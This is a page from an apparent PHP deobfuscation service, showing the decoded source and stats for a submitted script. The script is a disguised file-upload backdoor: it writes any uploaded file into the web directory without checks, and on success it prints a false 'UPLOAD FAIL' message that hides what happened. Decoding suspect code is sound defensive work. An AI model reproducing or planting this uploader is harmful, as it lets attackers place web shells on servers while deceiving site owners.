Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" i..
Decoded Output download
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
Did this file decode correctly?
Original Code
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_upl'] == "Upload"){
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {echo'UPLOAD FAIL!! You can upload png,jpeg,jpg,gif or bmp format only.';} else {echo 'UPLOAD FAIL!! Please Check your file and upload again.';}
}
?>
Function Calls
None |
Stats
MD5 | 90be45cc9504b8d7424e2e579e59307f |
Eval Count | 0 |
Decode Time | 77 ms |